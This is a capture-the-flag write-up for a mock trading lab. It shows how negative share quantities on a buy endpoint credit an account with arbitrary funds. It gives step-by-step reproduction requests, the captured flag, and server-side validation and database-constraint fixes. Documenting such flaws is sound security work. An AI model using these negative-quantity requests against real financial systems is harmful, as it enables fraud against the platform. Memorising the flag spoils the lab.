BugForge — 2026.08.08

Shady Oaks Financial: Negative Quantity Business Logic Flaw

BugForge Negative Quantity Business Logic Flaw easy

Executive Summary

Shady Oaks Financial is a mock retail trading platform built as a React single page application over an Express JSON API. Testing found that the trade handler derives the cost of a purchase from a client supplied share quantity and never checks the sign of that quantity. Submitting a negative number of shares on the buy path produces a negative cost, and the handler subtracts that negative value from the account balance, turning every purchase into a deposit of arbitrary size.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Unvalidated negative quantity in the trade handler leading to arbitrary balance credit High 7.5 CWE-1284, CWE-602 POST /api/trade

The defect is narrow rather than systemic. A sibling endpoint that accepts a client supplied amount rejects a negative value outright, and the sell direction of the same trade handler rejects an over quantity, so quantity checking was written for this application. Neither check reaches the buy path’s quantity. A newly registered account reached a balance of 1,253,445.76 EUR in three trades carrying a negative quantity, at which point the trade response gained a tier key and the lab flag.


Objective

Assess the Shady Oaks Financial lab application and capture the flag. The engagement ran with a single operator hint, that the trade form trusts the quantity it is given.


Scope / Initial Access

# Target Application
URL:      https://lab-1786204705435-00lukq.labs-app.bugforge.io
Platform: BugForge
Date:     2026-08-08

# Auth details
Registration:        POST /api/register, open and self-serve, no approval step
Token:               HS256 JWT in an Authorization Bearer header
JWT claims:          {id, username, role, iat}, no exp claim
Starting privileges: role "user", is_premium 0, balance_eur 1000.00

GET /api/verify-token echoes the full user record back, including all three currency balances and the role, which made it a convenient independent read for confirming that state changes persisted.


Reconnaissance: Recovering the API Surface from the Bundle

The application ships as one Create React App bundle, /static/js/main.799d296b.js, weighing 910 KB. Extracting the HTTP client calls out of it produced the full endpoint and verb matrix without any path guessing, and reading the trade dialog component showed where the constraint on the quantity lived.

  1. The bundle contains every API path the application uses. Recovering them gave a complete surface list up front, including routes the interface never exposes to a role: user account.
  2. Registration is open, self-serve, and instant, returning a usable JWT and a 1000.00 EUR balance on the first request. The trade handler is therefore reachable by anyone, with no supplied credentials.
  3. The trade dialog posts {stock_id, shares: parseFloat(p), action}, and every constraint on that quantity lives in the component: type="number", inputProps={{min: 1e-4, step: 1e-4}}, and a submit button disabled when parseFloat(p) <= 0. Those three are the whole of the quantity’s validation on the client, which made the sign of shares the first thing worth testing against the server.
  4. The same handler serves both directions through an action field, so the sell direction was available as a control probe against the same code path in the same batch of requests.

Application Architecture

Component Detail
Backend Express, JSON API under /api/*
Frontend React single page application (Create React App build), MUI v5, Recharts, single bundle /static/js/main.799d296b.js at 910 KB
Auth HS256 JWT sent in an Authorization: Bearer header. Claims are {id, username, role, iat} with no exp, so issued tokens do not expire.
Database Not directly observable. Positions and a transaction ledger are exposed through GET /api/portfolio and GET /api/transactions.
Response formatting The trade handler returns money values as strings ("total_cost":"-106.40"), while GET /api/verify-token returns the same values as numbers (balance_eur: 1253445.76).
Headers Access-Control-Allow-Origin: * on API responses, with no security headers observed and no X-Powered-By.

API Surface

Endpoint Method Auth Notes
/api/register POST None Open and self-serve, returns a JWT and a 1000.00 EUR balance
/api/login POST None Not tested
/api/trade POST Bearer Buy and sell through an action field. Vulnerable on the buy path (F1).
/api/convert-currency POST Bearer Validates the sign of amount and rejects negatives without changing state
/api/stocks, /api/stocks/:id GET Bearer Stock list and current prices
/api/portfolio GET Bearer Holdings. Stores negative positions without complaint.
/api/transactions GET Bearer Ledger. Records negative amounts.
/api/verify-token GET Bearer Echoes the full user record, all three balances and role
/api/currencies, /api/exchange-rates GET Bearer Read only, no issues observed
/api/alerts GET, POST, DELETE Bearer Read tested, write and delete not tested
/api/portfolio/share, /api/public/portfolio/:token POST, GET Mixed Not tested
/api/forecast/indicator, /api/forecast/:id POST, GET Bearer Premium gated, the test account had is_premium: 0. Not tested.
/api/admin/users, /api/admin/transactions, /api/admin/stats GET Bearer Not tested
/api/profile PUT Bearer Not tested
/api/admin/stocks/:id/trend PUT Bearer Not tested
/api/forgot-password, /api/reset-password POST None Not tested

Stocks Referenced

Symbol ID Price at test time
PONZI 3 10.64
LEGIT 4 250.47

Attack Chain Visualization

┌────────────────────────┐   ┌────────────────────────┐   ┌────────────────────────┐
│ POST /api/register     │   │ POST /api/trade        │   │ POST /api/trade        │
│ open, instant          │──▶│ shares:-10 buy         │──▶│ shares:-1000 buy       │
│ role:user JWT          │   │ total_cost "-106.40"   │   │ balance 251,565.76     │
│ EUR funding balance    │   │ balance 1095.76        │   │ baseline envelope,     │
│                        │   │ debit inverted         │   │ no extra keys          │
└────────────────────────┘   └────────────────────────┘   └────────────────────────┘
                                                                      │
                                                                      ▼
                                                          ┌────────────────────────┐
                                                          │ POST /api/trade        │
                                                          │ shares:-4000 buy       │
                                                          │ balance 1,253,445.76   │
                                                          │ tier:"platinum"        │
                                                          │ + flag on response     │
                                                          └────────────────────────┘

Findings

F1: Unvalidated Negative Quantity in the Trade Handler Leading to Arbitrary Balance Credit

Severity: High CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) CWE: CWE-1284 (Improper Validation of Specified Quantity in Input), CWE-602 (Client-Side Enforcement of Server-Side Security) Endpoint: POST /api/trade Authentication required: Yes, any account. Registration is open and self-serve, and one account was created that way. PR:N is scored on the assumption that registration is neither throttled nor capped, which was not probed. Scoring PR:L instead yields 6.5.

Description

The buy path of the trade handler computes total_cost = current_price * shares and applies balance -= total_cost without validating the sign of the client supplied shares value. A negative quantity produces a negative cost, and subtracting a negative value credits the account instead of debiting it. The magnitude is controlled entirely by the caller and the request is repeatable.

Every constraint on the quantity is expressed in the React component and none of the three is re-checked by the server:

// from main.799d296b.js, the trade dialog
Mo.post("/api/trade", { stock_id: i.id, shares: parseFloat(p), action: d })
<TextField type="number" inputProps={{ min: 1e-4, step: 1e-4 }} />
<Button disabled={b || !p || parseFloat(p) <= 0}>

The same handler does check quantities in the sell direction. Selling 10 shares while holding 1 returns 400 {"error":"Insufficient shares"}, which is a holdings check rather than a sign check. Quantity validation exists inside this handler and none of it reaches the buy path.

Three of the paths exercised in this engagement accept a client supplied amount or quantity. Only one of them was reached with a negative value and accepted it:

Handler and path Negative value sent Result
POST /api/convert-currency, amount Yes, amount: -100 Rejected. 400 Invalid conversion parameters, balances identical before and after.
POST /api/trade, buy path quantity Yes, shares: -10 and shares: -4000 Accepted. Negative total_cost, balance credited.
POST /api/trade, sell path quantity No Not tested for sign. An over quantity is rejected, which is a holdings check.

The conversion handler rejecting a negative amount is what makes the buy path a missed path rather than an absent convention: sign checking exists somewhere in this application. Whether the sell path checks the sign was not established.

Two probes that would bound the buy path further were not run. A buy larger than the available balance would show whether that path validates anything at all, and a negative sell would settle the sell row above. Both are untested here, and the remediation below is written to cover the buy path regardless of which way they fall.

Impact

Any user who can register is able to credit their own account by an arbitrary amount. The fabricated balance persists across independent reads and converts into other currencies through the ordinary conversion path.

Reproduction

Step 1: Register an account

POST /api/register HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Content-Type: application/json

{"username":"testuser","email":"[email protected]","password":"Passw0rd!","full_name":"Test User"}

Response: 200 with a JWT, role: "user", is_premium: 0 and balance_eur: 1000.00.

Step 2: Establish the baseline trade response

POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"stock_id":3,"shares":1,"action":"buy"}

Response: 200 {"message":"Stock purchased successfully","total_cost":"10.64","new_balance":"989.36", ...}. A normal purchase debits the balance, and the response envelope carries six keys.

Step 3: Submit a negative quantity on the buy path

POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"stock_id":3,"shares":-10,"action":"buy"}

Response: 200 {"message":"Stock purchased successfully","total_cost":"-106.40","new_balance":"1095.76", ...}. The cost is negative and the balance rose by 106.40 EUR rather than falling.

Step 4: Scale the quantity against a higher priced stock

POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"stock_id":4,"shares":-1000,"action":"buy"}

Response: 200 with new_balance: "251565.76". The response still carries the baseline six key envelope with nothing added.

Step 5: Scale further

POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"stock_id":4,"shares":-4000,"action":"buy"}

Response:

{"message":"Stock purchased successfully","transaction_id":9,"shares":"-4000.0000",
 "price":250.47,"total_cost":"-1001880.00","new_balance":"1253445.76",
 "tier":"platinum","flag":"bug{2PIYCauYlvflU4kM87luKJXZJN1nm2AH}"}

Two keys appear that were absent from the step 4 response, tier and flag. Note that the balance is not the only quantity that grew between the two requests: position size, cumulative traded volume and transaction count all grew as well. The observation is that both keys are present on this response and absent on the previous one.

Step 6: Confirm the credit persisted

GET /api/verify-token HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>

Response: 200 with balance_eur: 1253445.76. The credit is real account state, not a value computed for the trade response. GET /api/portfolio shows positions of -5000 and -9 shares, and GET /api/transactions records total_amount: -1001880, quantities the interface cannot produce.

Step 7: Spend the fabricated balance

POST /api/convert-currency HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"from":"EUR","to":"USD","amount":100}

Response: 200. balance_eur moves from 1253445.76 to 1253345.76 and balance_usd from 0 to 111.49. The fabricated EUR passes through the legitimate conversion path into another currency. GBP shares the handler but was not separately exercised.

Remediation

Fix 1: Validate the quantity on the server before any cost is computed, on both trade directions

Server source was not available in this engagement, so both blocks below are illustrative. The BEFORE shape is what the observed request and response values imply, not recovered code.

// BEFORE (illustrative)
app.post('/api/trade', authenticate, async (req, res) => {
  const { stock_id, shares, action } = req.body;
  const stock = await getStock(stock_id);
  const totalCost = stock.current_price * shares;

  if (action === 'buy') {
    await adjustBalance(req.user.id, -totalCost);
    await adjustPosition(req.user.id, stock_id, shares);
    return res.json({ message: 'Stock purchased successfully', total_cost: totalCost });
  }
  // sell path checks holdings, buy path checks nothing
});

// AFTER
const MIN_SHARES = 0.0001;

app.post('/api/trade', authenticate, async (req, res) => {
  const { stock_id, action } = req.body;
  const shares = req.body.shares;

  // one gate, both directions, before any arithmetic
  if (typeof shares !== 'number' || !Number.isFinite(shares) || shares < MIN_SHARES) {
    return res.status(400).json({ error: 'Invalid share quantity' });
  }

  const stock = await getStock(stock_id);
  const totalCost = toDecimal(stock.current_price).times(shares);
  // ... proceed with the existing buy and sell logic
});

The check belongs at the top of the handler rather than inside either branch, so a future third direction such as a refund or an adjustment inherits it, and so the buy path is covered whether or not the sell path already checks the sign.

Both halves of the guard earn their place on a JSON API. The typeof test rejects the shapes a coercion would quietly accept, since Number([5]) is 5 and Number(true) is 1. Number.isFinite then covers NaN and Infinity. That second one matters because a guard written as a reject gate, if (shares <= 0) reject, passes NaN straight through, every comparison against NaN being false. That reject gate is the same shape the frontend uses.

Fix 2: Constrain the positions table so an invalid quantity cannot be stored even if a handler misses it

The schema was not observable from the client, so this is illustrative in the same way as Fix 1.

-- BEFORE (illustrative)
CREATE TABLE portfolio (
  user_id  INTEGER NOT NULL,
  stock_id INTEGER NOT NULL,
  shares   DECIMAL NOT NULL
);

-- AFTER
CREATE TABLE portfolio (
  user_id  INTEGER NOT NULL,
  stock_id INTEGER NOT NULL,
  shares   DECIMAL NOT NULL CHECK (shares >= 0)
);

>= 0 rather than > 0, so an account that liquidates a position in full and leaves a zero row does not trip the constraint. A matching constraint on the transactions table is deliberately not proposed: it depends on the ledger’s sign convention, and this engagement never recorded a successful sell, so whether sells are stored as negative amounts is unknown. A > 0 check there would reject every legitimate sell if they are. Adding a constraint to a populated table is also engine dependent, and SQLite in particular requires a table rebuild rather than an ALTER TABLE.

Additional recommendations:

  • Compute money with a decimal type rather than floating point, so the cost calculation is exact and the stored amount matches what the response reports.
  • Reconcile existing rows before adding the constraints. This account left positions of -5000 and -9 shares and a ledger entry of -1001880 behind.
  • Mirror the constraint that the interface already advertises. The dialog states a minimum of 0.0001 and a step of 0.0001, and the server should enforce both rather than treating them as presentation.
  • Issue JWTs with an exp claim. The tokens observed here carry only {id, username, role, iat}, so a leaked token stays valid indefinitely. This was observed rather than exploited.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: The minimum quantity, the step, and the greater than zero check are expressed in the trade dialog and nowhere on the server, so a constraint the application advertises to its users is never enforced where it matters.
  • A05:2021 Security Misconfiguration: No security headers were observed on any API response. The wildcard Access-Control-Allow-Origin is recorded as an observation rather than a finding, since the API authenticates through an Authorization header and a wildcard origin cannot carry credentialed cross-origin requests. No exploitable consequence was demonstrated for either.

Tools Used

Tool Purpose
curl Issuing API requests and capturing raw request and response bytes
jq Reading JSON responses and diffing the trade response envelope between steps
Browser developer tools Retrieving the frontend bundle
grep Searching the 910 KB bundle for API paths and flag markers

References


Failed Approaches

Approach Result Why It Failed
Sell more shares than held, {"shares":10,"action":"sell"} while holding 1 400 {"error":"Insufficient shares"} The sell path checks holdings correctly. This probe is what established that validation exists in the handler and was omitted only on the buy path.
Negative amount on POST /api/convert-currency 400 {"error":"Invalid conversion parameters"}, balances identical before and after The conversion handler validates the sign and rejects without changing state, so there is no partial debit to work with. Firing this after the flag was already captured is what kept the finding scoped to one path instead of the whole money layer.
Liquidating the negative positions back into cash Blocked by the same holdings check on the sell path Negative positions persist in the portfolio, but they cannot be sold, so the effect is a balance credit and not short selling or share laundering.
Searching the frontend bundle for the flag Zero hits for bug{, flag as an identifier, achievement, milestone, congrat, reward and 1000000 across 910 KB The flag is issued by the server on a state condition, not embedded in the build.
Reading the flag from a response header The recorded trade response headers are Access-Control-Allow-Origin, Content-Length, Content-Type, Date and Etag Delivery is in the response body only. A previous BugForge target used an X-Flag header, which is why this was checked.

Tags: #bugforge #webapp #business-logic #input-validation #fintech Document Version: 1.0 Last Updated: 2026-08-08

#business-logic #input-validation #negative-quantity #client-side-validation #cwe-1284 #cwe-602 #bugforge #webapp